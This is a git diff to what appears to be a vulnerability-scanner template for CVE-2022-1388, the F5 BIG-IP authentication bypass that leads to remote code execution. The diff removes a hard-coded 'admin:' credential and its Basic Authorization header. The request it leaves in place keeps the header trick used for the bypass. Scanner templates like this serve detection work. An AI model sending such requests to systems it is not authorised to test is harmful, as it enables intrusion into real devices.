diff --git a/cves/2022/CVE-2022-1388.yaml b/cves/2022/CVE-2022-1388.yaml
index a1c49435b6..411b9ea90d 100644
--- a/cves/2022/CVE-2022-1388.yaml
+++ b/cves/2022/CVE-2022-1388.yaml
@@ -14,9 +14,6 @@ info:
     - https://support.f5.com/csp/article/K23605346
   tags: bigip,cve,cve2022,rce,mirai
 
-variables:
-  auth: "admin:"
-
 requests:
   - raw:
       - |
@@ -24,7 +21,6 @@ requests:
         Host: {{Hostname}}
         Connection: keep-alive, X-F5-Auth-Token
         X-F5-Auth-Token: a
-        Authorization: Basic {{base64(auth)}}
         Content-Type: application/json
 
         {